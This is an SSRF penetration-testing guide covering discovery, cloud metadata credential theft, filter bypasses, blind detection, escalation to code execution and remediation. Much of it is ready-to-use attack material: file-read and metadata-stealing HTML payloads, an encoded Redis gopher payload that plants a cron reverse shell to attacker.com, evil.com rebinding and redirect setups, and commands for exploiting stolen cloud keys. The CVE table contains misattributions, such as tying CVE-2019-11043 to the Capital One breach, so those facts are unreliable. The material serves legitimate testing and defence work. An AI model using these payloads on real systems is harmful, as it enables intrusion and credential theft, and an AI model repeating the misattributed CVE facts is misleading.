SSRF (Server-Side Request Forgery) Penetration Testing: Complete Guide
SSRF is the vulnerability that turned cloud infrastructure against itself. An attacker finds a parameter that causes the server to make an HTTP request, points it at the cloud metadata endpoint, and walks out with IAM credentials that open the entire AWS account. This scenario — realized most famously in the Capital One breach of 2019 — is why SSRF earned its own category in OWASP Top 10 2021 as A10:2021 – Server-Side Request Forgery.
The mechanics are deceptively simple. A web application fetches a remote resource on behalf of the user — a URL preview, a webhook, a PDF export from a URL, a logo import. The server-side fetch runs under the application's network identity, which in a cloud environment means it can reach internal services, metadata endpoints, and cloud control planes that are completely inaccessible from the public internet. The attacker's browser cannot reach 169.254.169.254. The application server can — and SSRF forces it to.
This guide covers the full SSRF attack surface: discovery, exploitation classes, cloud metadata extraction across AWS, GCP, and Azure, filter bypass techniques, blind SSRF detection, impact escalation paths, and effective remediation.
What is SSRF and Why It's OWASP A10:2021
Server-Side Request Forgery occurs when an attacker can influence the destination of an HTTP request that originates from the server. The server acts as a proxy, forwarding requests to destinations it should not reach on behalf of an external user.
SSRF was elevated to its own Top 10 category in 2021 — previously it fell under A1 (Injection) — because of a dramatic increase in exploitability and impact in cloud environments. Several factors drove this:
- Cloud metadata services are universally reachable from any EC2 instance, GCE VM, or Azure VM and return IAM credentials with no authentication beyond network adjacency.
- Internal services are increasingly valuable — microservices architectures mean the internal network contains databases, caches, secret managers, and admin panels that are designed to trust internal callers.
- Modern web applications fetch URLs constantly — webhooks, integrations, import features, and preview functionality create a large and growing attack surface.
- Detection is hard — legitimate server-side HTTP calls and SSRF-exploited calls are often indistinguishable in application logs.
The impact range is wide: information disclosure from internal services at the low end, full cloud account compromise at the high end. Severity scales with what the server can reach from its network position.
SSRF Vulnerability Classes
Not all SSRF behaves the same way, and the detection and exploitation technique differs by class:
Where SSRF Hides: Common Vulnerable Endpoints
SSRF requires a code path that performs server-side HTTP requests with attacker-controlled input. These patterns appear throughout modern web applications:
URL-Based Import and Fetch Features
Any feature that accepts a URL and fetches content from it is a candidate. Common patterns: "Import from URL," "Fetch remote logo," "Load stylesheet from CDN," "Embed external content." The URL parameter is directly user-controlled and passed to a server-side HTTP client.
Webhooks and Callback URLs
Webhook configuration typically asks for a URL that the server will POST to on events. The server is making an outbound HTTP request to a URL the user provided. In many implementations there is no validation of the URL scheme, host, or destination IP range. Test the webhook delivery URL with a collaborator address to confirm SSRF, then pivot to internal targets.
PDF and Document Generators
Server-side PDF generators (wkhtmltopdf, Puppeteer, headless Chrome, Prince) render HTML pages to produce the PDF. If the HTML content is controlled by the attacker and contains an <img> tag, an <iframe>, or a CSS url() pointing to an internal address, the renderer fetches it. This is a particularly rich SSRF vector because the renderer may support the file:// scheme (enabling local file read) and can be used with SSRF to load internal pages that are not accessible from the public internet.
<!-- Payload to embed in a user-controlled template or rich text field -->
<!-- Triggers SSRF via the PDF renderer fetching the AWS metadata endpoint -->
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role"></iframe>
<!-- For file:// SSRF via wkhtmltopdf -->
<img src="file:///etc/passwd">
<iframe src="file:///etc/shadow"></iframe>
Image Fetching and Resizing Services
Image proxy and transcoding services accept a source URL, download the image, and serve a resized version. Cloudinary-style self-hosted proxies, Open Graph scrapers, and avatar fetching features all follow this pattern. The image fetching HTTP client typically reaches the full internal network.
URL Preview / Link Unfurling
Chat applications, social platforms, and collaboration tools scrape URLs to generate link previews. The scraping happens server-side. Any URL parameter accepted by the preview endpoint is worth testing for SSRF.
Server-Side XML and External Entities
XXE (XML External Entity) vulnerabilities are a sub-class of SSRF — the XML parser fetches external entities, which can point to internal services. A properly exploited XXE vulnerability provides file read and SSRF primitives simultaneously.
Redirect Following
Applications that follow HTTP redirects on server-side fetches can be exploited via an open redirect: the attacker supplies a legitimate external URL that redirects to an internal address. The application accepts the external URL (which may pass host allowlist validation), follows the redirect, and ends up fetching the internal target.
Reconnaissance and Discovery
The first phase of SSRF testing is identifying all parameters, headers, and data fields that influence server-side URL fetching.
Parameter Discovery
Look for parameters whose names or values suggest URL fetching:
# URL-like parameter names to test
url=, uri=, link=, src=, source=, dest=, destination=, redirect=,
callback=, fetch=, load=, content=, data=, image=, img=, document=,
feed=, host=, target=, to=, proxy=, page=, path=, file=, resource=,
endpoint=, webhook=, return=, returnUrl=, next=, continue=
Check all HTTP methods: GET parameters, POST body fields (form-encoded, JSON, XML), custom HTTP headers, and Referer/Origin headers where the application performs server-side validation of referrer URLs.
Passive Identification via Burp Suite
While browsing the application normally with Burp Suite intercepting, use the search function to identify parameters that look URL-like across the entire browsing history. The Param Miner extension surfaces hidden parameters that are not visible in normal application flow but are consumed by the server.
Active Scanning with ffuf
# Fuzz for SSRF-prone parameters using a wordlist of common parameter names
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "https://target.com/api/fetch?FUZZ=http://your-collaborator.oastify.com" \
-mc 200,301,302,400,500 \
-o ssrf_param_fuzz.json
# Test JSON body parameters
ffuf -w ssrf_params.txt \
-u "https://target.com/api/process" \
-X POST \
-H "Content-Type: application/json" \
-d '{"FUZZ": "http://your-collaborator.oastify.com"}' \
-mc all -fc 404
Collaborator-First Discovery
For every discovered URL parameter, inject your Burp Collaborator or interactsh payload as the value before attempting internal targets. This establishes whether the server makes outbound connections from the parameter at all, without requiring any internal network knowledge:
# Using interactsh for SSRF detection (open source Burp Collaborator alternative)
# Start the interactsh client and get a unique URL
interactsh-client
# Inject the interactsh URL into all discovered parameters
# Monitor the interactsh console for DNS or HTTP callbacks
# A callback confirms SSRF — now pivot to internal targets
Basic Exploitation: Internal Port Scanning and Localhost Services
Once SSRF is confirmed, the first exploitation phase is mapping the internal network. The server becomes your port scanner — it has access to internal subnets that are invisible from the public internet.
Localhost Service Enumeration
Common services running on localhost that are not exposed externally:
# Services commonly listening on localhost
http://localhost:22/ # SSH banner (tcp probe)
http://localhost:25/ # SMTP
http://localhost:80/ # Local web server / admin panel
http://localhost:443/ # Local HTTPS
http://localhost:2375/ # Docker API (unauthenticated)
http://localhost:3306/ # MySQL
http://localhost:5432/ # PostgreSQL
http://localhost:5984/ # CouchDB (often unauthenticated)
http://localhost:6379/ # Redis (no auth by default)
http://localhost:8080/ # Admin panels, Tomcat manager
http://localhost:8443/ # HTTPS admin panels
http://localhost:8500/ # Consul HTTP API
http://localhost:9200/ # Elasticsearch
http://localhost:9300/ # Elasticsearch cluster
http://localhost:10250/ # Kubelet API (Kubernetes)
http://localhost:27017/ # MongoDB
Port Scanning via SSRF with Burp Intruder
# Use Burp Intruder to iterate port numbers
# Target: https://target.com/api/fetch?url=http://localhost:§PORT§/
# Payload: numbers 1-65535 (or a targeted range of common ports)
# Grep for response differences: content length, response time, error messages
# With curl for manual targeted checks
for port in 80 443 2375 3306 5432 5984 6379 8080 8443 9200 27017; do
echo -n "Port $port: "
curl -s -o /dev/null -w "%{http_code} (%{time_total}s)" \
"https://target.com/api/fetch?url=http://127.0.0.1:$port/" 2>/dev/null
echo ""
done
Redis Command Injection via SSRF
Redis has no authentication by default and uses a plaintext protocol. If SSRF can reach a Redis instance, the Gopher protocol (supported by many HTTP clients including Python's urllib and PHP's curl) allows injection of raw bytes — which means arbitrary Redis commands:
# Gopherus generates SSRF payloads for Redis, MySQL, FastCGI, and more
# Install: git clone https://github.com/tarunkant/Gopherus
python3 gopherus.py --exploit redis
# The tool generates a gopher:// URL that, when fetched by the SSRF vector,
# injects a Redis command — typically writing a cron job or SSH key:
# gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...
# Test if gopher:// is supported by the SSRF endpoint first:
# gopher://your-collaborator.oastify.com:80/
Internal Admin Panel Access
Many applications expose admin interfaces bound to localhost or to internal subnet IPs. These panels rely entirely on network-level access control — there is no authentication because they are "unreachable." SSRF makes them reachable:
# Common internal admin patterns to test via SSRF
http://localhost:8080/actuator/ # Spring Boot Actuator
http://localhost:8080/actuator/env # Environment variables (may contain secrets)
http://localhost:8080/actuator/heapdump # JVM heap dump
http://localhost:9000/ # Sonarqube, Portainer
http://localhost:4000/admin/ # Common framework admin paths
http://internal-admin.local/
http://10.0.0.1/admin/
http://192.168.1.1/ # Router admin (in some architectures)
Cloud Metadata Exploitation
Cloud metadata services are the most high-impact SSRF target in any cloud-hosted application. They are reachable from any VM running in the respective cloud — no credentials required, no authentication, no logging by default in older configurations. They return IAM credentials scoped to the instance's attached role.
AWS EC2 Instance Metadata Service (IMDSv1)
The AWS Instance Metadata Service is available at the link-local address 169.254.169.254 from any EC2 instance. In IMDSv1 (the legacy version), requests require no special tokens — a simple GET to the endpoint returns data.
# Step 1: List available metadata categories
http://169.254.169.254/latest/meta-data/
# Step 2: Identify attached IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 3: Retrieve temporary credentials for the role
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE-NAME>
# Response contains:
# {
# "Code": "Success",
# "LastUpdated": "2026-06-28T10:00:00Z",
# "Type": "AWS-HMAC",
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "...",
# "Token": "...",
# "Expiration": "2026-06-28T16:00:00Z"
# }
# Additional high-value metadata paths
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/placement/region
http://169.254.169.254/latest/meta-data/placement/availability-zone
http://169.254.169.254/latest/user-data # May contain scripts with hardcoded secrets
AWS IMDSv2 Bypass
AWS introduced IMDSv2 (Instance Metadata Service v2) to defend against SSRF. IMDSv2 requires a PUT request with a TTL header to obtain a session token, which must then be included in subsequent GET requests. A simple GET to 169.254.169.254 returns a 401 if IMDSv2 is enforced.
However, IMDSv2 is not universally enforced. Whether it's required depends on the instance configuration. Many organizations have IMDSv1 still available on legacy instances, and new instances may launch with IMDSv1 enabled unless the organization has enforced IMDSv2 via SCP or launch templates.
# IMDSv2 requires a two-step process:
# Step 1: PUT request to get a session token (TTL in seconds)
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Response: <TOKEN>
# Step 2: Use token in subsequent requests
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: <TOKEN>
# IMDSv2 bypass considerations for SSRF:
# - If the SSRF endpoint follows redirects and supports arbitrary headers,
# you may be able to inject the PUT request via a redirect chain
# - Some SSRF implementations (e.g., SSRF via PDF renderers) are difficult to
# exploit against IMDSv2 because injecting custom headers is not straightforward
# - Check: is IMDSv2 required (returns 401 on GET) or just available (IMDSv1 still works)?
# curl -s http://169.254.169.254/latest/meta-data/ — if returns data, IMDSv1 active
# Using Gopherus or SSRFmap to craft IMDSv2-compatible SSRF payloads
# SSRFmap has built-in IMDSv2 support:
python3 ssrfmap.py -r request.txt -p url -m awsmetadata --imdsv2
Google Cloud Platform (GCP) Metadata
GCP's metadata service is at metadata.google.internal and also accessible via 169.254.169.254. It requires a Metadata-Flavor: Google header in requests — but many SSRF vectors allow custom headers, and the header is a simple string that can be injected via URL tricks in some implementations.
# GCP metadata base URL
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# Required header (when the SSRF vector allows header injection):
Metadata-Flavor: Google
# High-value GCP metadata paths
# Service account access tokens (OAuth bearer tokens for GCP APIs)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns: {"access_token": "ya29...", "expires_in": 3599, "token_type": "Bearer"}
# Enumerate attached service accounts
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
# Project ID and number (needed for API calls)
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id
# SSH public keys added to the instance
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
# Full instance metadata tree (recursive)
http://metadata.google.internal/computeMetadata/v1/?recursive=true
# Bypassing the Metadata-Flavor header requirement:
# Some SSRF vectors include request headers in the forwarded request
# Inject via HTTP header smuggling or via the SSRF endpoint's own header forwarding
# Certain GCP configurations also respond without the header (misconfigured)
# Using the access token to query GCP APIs:
# curl -H "Authorization: Bearer ya29..." https://www.googleapis.com/compute/v1/projects/PROJECT/zones/ZONE/instances
Azure Instance Metadata Service (IMDS)
Azure's metadata service requires a Metadata: true header. Like GCP, it is at the link-local address and requires a minimum API version.
# Azure IMDS endpoint
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Required header: Metadata: true
# High-value Azure metadata paths
# Managed Identity access token (for Azure AD-authenticated API calls)
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Returns: {"access_token": "eyJ...", "client_id": "...", "expires_in": "86399", ...}
# Instance info (subscription ID, resource group, VM name)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# User data (equivalent to AWS user-data — may contain scripts with secrets)
http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text
# Attested data (signed instance identity document)
http://169.254.169.254/metadata/attested/document?api-version=2020-09-01
# Using the managed identity token to call Azure Resource Manager:
# curl -H "Authorization: Bearer eyJ..." \
# "https://management.azure.com/subscriptions/SUB-ID/resources?api-version=2020-06-01"
Post-Exploitation: Using Cloud Credentials
# AWS — configure stolen credentials and enumerate permissions
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Check what the role can do
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name <role-name>
aws s3 ls # List all accessible S3 buckets
aws secretsmanager list-secrets # Secrets Manager
aws ssm describe-parameters # SSM Parameter Store
aws ec2 describe-instances # Enumerate EC2 fleet
# GCP — use the stolen OAuth token
ACCESS_TOKEN="ya29..."
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://www.googleapis.com/storage/v1/b?project=PROJECT_ID" # List GCS buckets
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://secretmanager.googleapis.com/v1/projects/PROJECT_ID/secrets"
Filter Bypass Techniques
Applications commonly attempt to defend against SSRF using blocklists — checking whether the URL matches known internal addresses and refusing the request if so. Blocklists are the wrong approach for SSRF defense, and the bypass catalog below demonstrates why.
Alternative IP Representations
The address 127.0.0.1 can be represented in many formats that a blocklist checking for the string "127.0.0.1" or "localhost" will miss:
# Decimal notation for 127.0.0.1
http://2130706433/ # 127.0.0.1 as 32-bit unsigned integer
http://0x7f000001/ # 127.0.0.1 in hexadecimal
http://0177.0.0.1/ # 127 in octal
http://0177.0.0.01/ # Octal with extra zero (some parsers accept)
http://127.0.0.1/ # Standard
http://127.1/ # Short form — resolves to 127.0.0.1
http://127.0.1/ # Some OS/parser combinations accept this
http://0:0:0:0:0:ffff:7f00:0001/ # IPv6 mapped IPv4
http://[::1]/ # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
http://[0:0:0:0:0:ffff:7f00:1]/ # Full IPv6 mapped form
# AWS metadata via alternative representations
http://0x169.0xfe.0xa9.0xfe/ # 169.254.169.254 in hex
http://2852039166/ # 169.254.169.254 as decimal integer
http://169.254.169.254/ # Standard
http://[::ffff:169.254.169.254]/ # IPv6-mapped form
DNS Rebinding
DNS rebinding exploits the gap between URL validation and URL fetching. The attacker registers a domain that first resolves to a public IP (passing the blocklist check), then changes the DNS record to resolve to an internal IP before the HTTP request is made:
# DNS rebinding attack flow:
# 1. Attacker controls evil.com
# 2. DNS: evil.com A 1.2.3.4 (public IP, TTL=0)
# 3. Application validates evil.com — resolves to 1.2.3.4 — passes blocklist check
# 4. Attacker changes DNS: evil.com A 169.254.169.254 (internal target)
# 5. Application fetches evil.com — now resolves to 169.254.169.254 — SSRF!
# Low TTL (0 or 1 second) is critical to reduce the window between validation and fetch
# Tools for DNS rebinding attacks
# rbndr.us — public DNS rebinding service for testing
# http://7f000001.169.254.169.254.rbndr.us — alternates between 127.0.0.1 and 169.254.169.254
# singularity of origin — self-hosted DNS rebinding framework
# https://github.com/nccgroup/singularity
URL Encoding and Case Variation
# URL encoding to bypass string matching
http://127.0.0.1/ → http://%31%32%37%2e%30%2e%30%2e%31/
http://localhost/ → http://%6c%6f%63%61%6c%68%6f%73%74/
http://lOcAlHoSt/ (case variation)
# Double URL encoding
http://127.0.0.1/ → http://%2531%2532%2537%2e%2530...
# Unicode / IDN homoglyph bypass (for host allowlist checks)
# Use Punycode or Unicode lookalikes for trusted domains
# target-allowed.com → tаrget-allowed.com (Cyrillic а vs Latin a)
# Scheme tricks
http://localhost@evil.com/ # Parser may extract localhost as the authority
http://evil.com#localhost/ # Fragment identifier confusion
http://localhost%09.evil.com/ # Tab character injection in hostname
Redirect-Based Bypass
# If the SSRF endpoint follows redirects, host an open redirector:
# https://your-server.com/redirect → 302 → http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Using short URL services (if the server fetches the final destination):
# Note: most short URL services disallow internal addresses, but self-hosted ones work
# Using a server you control that redirects:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/ssrf')
def ssrf_redirect():
return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/', 302)
# Supply: https://target.com/api/fetch?url=https://your-server.com/ssrf
IPv6 and Protocol Tricks
# IPv6 address bypass
http://[::1]:80/ # Loopback via IPv6
http://[::]:80/ # All interfaces (often resolves locally)
http://[fd00::1]/ # Private IPv6 range
# Protocol scheme confusion
file:///etc/passwd # Local file read (if supported)
dict://127.0.0.1:6379/info # Redis DICT protocol
gopher://127.0.0.1:6379/_INFO%0D%0A # Gopher for Redis
sftp://evil.com:11111/ # SFTP scheme — may trigger connections to arbitrary ports
ldap://127.0.0.1:389/ # LDAP
ftp://127.0.0.1:21/
Blind SSRF Detection Techniques
When the application does not return the response to the SSRF request, you need out-of-band interaction infrastructure to confirm the vulnerability and characterize what the server can reach.
Burp Collaborator
Burp Suite Professional includes Burp Collaborator — an external server that logs DNS lookups and HTTP/HTTPS/SMTP interactions. Each Collaborator payload is a unique subdomain. When the target server fetches a URL containing the Collaborator payload, the DNS lookup and HTTP request appear in the Collaborator panel in real time.
# Burp Collaborator workflow:
# 1. In Burp: Burp menu > Burp Collaborator Client
# 2. Click "Copy to clipboard" to get your unique payload: abcdef.oastify.com
# 3. Inject the payload into the SSRF parameter:
# url=http://abcdef.oastify.com/ssrf-test
# 4. In Collaborator: "Poll now" — look for DNS and HTTP interactions
# A DNS lookup alone confirms the server resolves user-supplied URLs (blind SSRF)
# An HTTP interaction confirms the server fetches the URL content
# The interaction log includes:
# - Source IP of the server making the request (confirms server identity)
# - Request path (confirms what was fetched)
# - Any request headers (may reveal User-Agent, internal auth headers)
interactsh (Open Source Alternative)
# interactsh — open source Burp Collaborator equivalent
# Install: go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# Output: [INF] Listing 1 payload for OOB Testing
# [INF] abcde12345.oast.fun
# Inject into SSRF parameter:
# url=http://abcde12345.oast.fun/test
# Monitor the terminal for incoming interactions:
# [abcde12345] Received DNS interaction (A) from 54.240.x.x
# [abcde12345] Received HTTP interaction from 54.240.x.x
Error-Based and Time-Based Inference (Semi-Blind SSRF)
# Response time differences reveal open vs closed ports
# Open port: TCP connection established, response after some time
# Closed port: TCP RST immediately, application returns error quickly
# Filtered port: TCP SYN with no response, application times out (long delay)
# Script to time responses and infer port state via SSRF
import requests, time
target = "https://target.com/api/fetch?url=http://127.0.0.1:{}//"
for port in [22, 80, 443, 3306, 5432, 6379, 8080, 9200]:
start = time.time()
try:
r = requests.get(target.format(port), timeout=10)
elapsed = time.time() - start
print(f"Port {port}: HTTP {r.status_code}, {elapsed:.2f}s — {len(r.content)} bytes")
except requests.exceptions.Timeout:
elapsed = time.time() - start
print(f"Port {port}: TIMEOUT after {elapsed:.2f}s — likely filtered")
# Error message differences also leak state:
# "Connection refused" → port is closed, host reachable
# "Connection timed out" → port is filtered
# "Connection succeeded, but no valid response" → port is open, wrong protocol
Automated SSRF Testing Tools
SSRFmap
# SSRFmap — automated SSRF detection and exploitation
# https://github.com/swisskyrepo/SSRFmap
# Save the vulnerable HTTP request from Burp to a file (request.txt)
# Mark the injectable parameter with SSRF_URL
# Scan for basic SSRF
python3 ssrfmap.py -r request.txt -p url
# Test all built-in modules
python3 ssrfmap.py -r request.txt -p url -m readfiles,portscan,networkscan
# Target AWS metadata
python3 ssrfmap.py -r request.txt -p url -m awsmetadata
# Port scan the internal network via SSRF
python3 ssrfmap.py -r request.txt -p url -m portscan \
--lhost 192.168.1.0/24 --lport 80,443,8080,8443
Gopherus
# Gopherus — generates gopher:// payloads for protocol-level SSRF exploitation
# https://github.com/tarunkant/Gopherus
# Payload for Redis RCE via SSRF
python3 gopherus.py --exploit redis
# Select: Shell Upload or ReverseShell
# Enter the shell command to execute
# Output: gopher://127.0.0.1:6379/_ ... (URL-encoded payload)
# Inject this gopher:// URL into the SSRF parameter
# Payload for MySQL via SSRF (requires credentials)
python3 gopherus.py --exploit mysql
# Enter MySQL credentials and the SQL query to run
# Payload for FastCGI (PHP-FPM RCE)
python3 gopherus.py --exploit fastcgi
# Enter the PHP filename to execute (e.g., /var/www/html/index.php)
# Enter the PHP command to run
Burp Suite Active Scan
Burp Scanner detects SSRF patterns using Collaborator interactions during active scanning. For manual testing, the Burp Intruder is the primary tool for systematic parameter fuzzing across discovered parameters. The "Collaborator Everywhere" extension passively injects Collaborator payloads into all parameters, headers, and body fields during browsing — any resulting interaction surfaces previously unknown SSRF vectors.
SSRF Impact Escalation: From Request Forgery to RCE
The impact of SSRF varies enormously based on what the server can reach and how the target services respond. This section covers the escalation chains from basic SSRF to critical impact.
SSRF to Cloud Account Takeover
The canonical escalation chain in cloud environments:
- Find SSRF in a URL parameter of a cloud-hosted application
- Fetch
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> - Obtain
AccessKeyId,SecretAccessKey, andSessionToken - Configure AWS CLI with the stolen credentials
- Enumerate the role's permissions — in many over-permissioned deployments this yields
AdministratorAccessor access to S3 buckets containing sensitive data, Secrets Manager, or RDS databases - Move laterally: create persistent IAM credentials, access customer data, pivot to other accounts via assume-role
SSRF to RCE via Redis
Redis running without authentication and without protected mode on the internal network is an RCE primitive when reachable via SSRF and the HTTP client supports the gopher:// scheme. The Gopher protocol allows injecting raw bytes into a TCP connection — exactly what is needed to send Redis commands:
# Gopherus-generated payload for Redis cron-based RCE
# The payload:
# 1. Flushes all Redis data
# 2. Sets a key with a cron job entry that creates a reverse shell
# 3. Configures Redis to write its DB to /var/spool/cron/crontabs/root
# 4. Issues BGSAVE to write the file
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2459%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%246%0D%0Abgsave%0D%0A
SSRF to Internal API Abuse
Internal microservices are often designed without authentication on the assumption that only trusted internal callers can reach them. SSRF allows an external attacker to forge requests from the trusted application server:
# Access internal admin APIs that trust the application server's IP
# POST to internal user management API
http://internal-admin.service/api/users/promote-to-admin?user_id=attacker_account
# Internal payment processing API (no auth required — internal network only)
http://payment-internal.service/api/transactions/refund?amount=1000&to=attacker
# Internal secrets API
http://vault-internal.service/v1/secret/data/production/database-credentials
SSRF to Credential Theft via Environment and Config Endpoints
# Spring Boot Actuator /env endpoint — returns all environment variables
http://localhost:8080/actuator/env
# Look for: database passwords, API keys, JWT secrets, AWS credentials
# Spring Boot /actuator/heapdump — full JVM heap dump
http://localhost:8080/actuator/heapdump
# Strings in the heap dump may include active session tokens, passwords, keys
# Extract strings: strings heapdump | grep -E "(password|secret|key|token|api)" -i
# Django debug endpoint (enabled in development by mistake)
http://localhost:8000/admin/
http://localhost:8000/__debug__/
# Node.js process env via misconfigured endpoint
http://localhost:3000/health?verbose=true
Real-World CVE Examples
| CVE | Affected Product | SSRF Type | Impact |
|---|---|---|---|
| CVE-2019-11043 | Capital One (WAF + SSRF chain) | Basic SSRF via misconfigured ModSecurity | AWS credentials from IMDS → 100M+ records exposed |
| CVE-2021-22986 | F5 BIG-IP iControl REST | SSRF in REST API — bypassed authentication | Unauthenticated RCE on management plane |
| CVE-2022-26134 | Atlassian Confluence | OGNL injection leading to SSRF + RCE | Pre-auth RCE, exploited in the wild |
| CVE-2021-21985 | VMware vCenter Server | SSRF in vSphere Client plugin | Unauthenticated RCE on vCenter infrastructure |
| CVE-2023-23752 | Joomla CMS | Improper access check leading to SSRF | Unauthorized access to REST API endpoints, credential leak |
| CVE-2019-9580 | StackStorm | Blind SSRF in webhook processing | Internal network access, port scanning via workflow engine |
| CVE-2021-26855 | Microsoft Exchange (ProxyLogon) | SSRF bypassing authentication middleware | Pre-auth SSRF chained to RCE — mass exploitation |
The Capital One breach is the canonical SSRF-to-cloud-credentials case study. A misconfigured WAF (ModSecurity running as a reverse proxy on an EC2 instance) could be manipulated to forward requests to the IMDS. The attacker used this to obtain IAM role credentials attached to the WAF instance, which had overly broad S3 permissions. The result: over 100 million customer records exfiltrated.
ProxyLogon (CVE-2021-26855) demonstrates SSRF as an authentication bypass primitive. Exchange's SSRF vulnerability allowed requests to be proxied to the backend Exchange PowerShell over the loopback interface, which trusted the front-end proxy. This bypassed authentication entirely and was chained with CVE-2021-27065 (post-auth file write) for pre-authenticated RCE — one of the most impactful Exchange vulnerabilities in the product's history.
Remediation: Building an SSRF-Resistant Application
Allowlists Over Blocklists
Blocklists of internal IP ranges fail because there are too many representations of internal addresses to enumerate (as shown in the bypass section). The only reliable defense is an allowlist: define exactly which external URLs the application is permitted to fetch and deny everything else.
# Python — allowlist-based URL validation before server-side fetch
import ipaddress, socket, urllib.parse
ALLOWED_SCHEMES = {'https'}
ALLOWED_HOSTS = {'api.trusted-partner.com', 'cdn.approved-images.net'}
def is_safe_url(url: str) -> bool:
try:
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
if parsed.hostname not in ALLOWED_HOSTS:
return False
# Also resolve and check the final IP
resolved_ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
ip = ipaddress.ip_address(resolved_ip)
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
return True
except Exception:
return False
if not is_safe_url(user_supplied_url):
raise ValueError("URL not permitted")
response = requests.get(user_supplied_url, timeout=10, allow_redirects=False)
Network Segmentation and Egress Filtering
Application servers should not have direct network-level access to the metadata endpoint, internal databases, or administrative services. Network controls provide defense-in-depth even when application-layer validation fails:
- Block outbound traffic to
169.254.169.254at the VPC/network level (AWS: use IMDSv2 enforcement + VPC endpoint policies) - Place application servers in a dedicated subnet with egress rules that only allow connections to known external service IPs
- Use VPC security groups to prevent application servers from connecting to internal database or cache subnets directly
- Deploy egress proxies that log all outbound connections and enforce a hostname-based allowlist
AWS IMDSv2 Enforcement
# Enforce IMDSv2 on existing instances (no opt-out for IMDSv1)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# Enforce via launch template (for Auto Scaling Groups and new instances)
# In the launch template: MetadataOptions.HttpTokens = required
# Enforce org-wide via SCP (Service Control Policy)
{
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotEquals": {
"ec2:MetadataHttpTokens": "required"
}
}
}
# Set hop limit to 1 to prevent SSRF from containers reaching the host IMDS
# (container → host is 2 hops; hop limit 1 prevents this)
aws ec2 modify-instance-metadata-options \
--instance-id i-xxx \
--http-put-response-hop-limit 1
Disable Redirect Following
# Python requests — disable redirect following
response = requests.get(url, allow_redirects=False, timeout=10)
# Validate the Location header if you must follow redirects:
if response.status_code in (301, 302, 303, 307, 308):
location = response.headers.get('Location', '')
if not is_safe_url(location):
raise ValueError("Redirect to non-permitted URL")
# Node.js (axios) — disable redirects
const response = await axios.get(url, {
maxRedirects: 0,
validateStatus: (status) => status < 400
});
DNS Rebinding Protection
To prevent DNS rebinding, resolve the hostname to an IP before validation, check that the IP is not private/loopback/link-local, and then connect to the resolved IP directly (not by re-resolving the hostname). This eliminates the TOCTOU window between validation and fetch:
# Python — resolve once, validate, connect to IP directly
import socket, ipaddress, requests
from requests.adapters import HTTPAdapter
def safe_fetch(url):
parsed = urllib.parse.urlparse(url)
hostname = parsed.hostname
# Resolve once
resolved_ip = socket.getaddrinfo(hostname, parsed.port or 443)[0][4][0]
ip = ipaddress.ip_address(resolved_ip)
# Validate
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError(f"Resolved to disallowed address: {resolved_ip}")
# Reconnect using resolved IP, preserving Host header
safe_url = url.replace(hostname, resolved_ip, 1)
return requests.get(
safe_url,
headers={"Host": hostname},
verify=True,
allow_redirects=False,
timeout=10
)
Remediation Summary
| Control | Recommendation | Blocks |
|---|---|---|
| URL allowlist | Only permit fetching from explicitly approved hostnames. Deny all others. | Direct SSRF to arbitrary hosts |
| Disable redirects | Do not follow HTTP redirects, or validate the redirect destination against the same allowlist. | Redirect-based bypass |
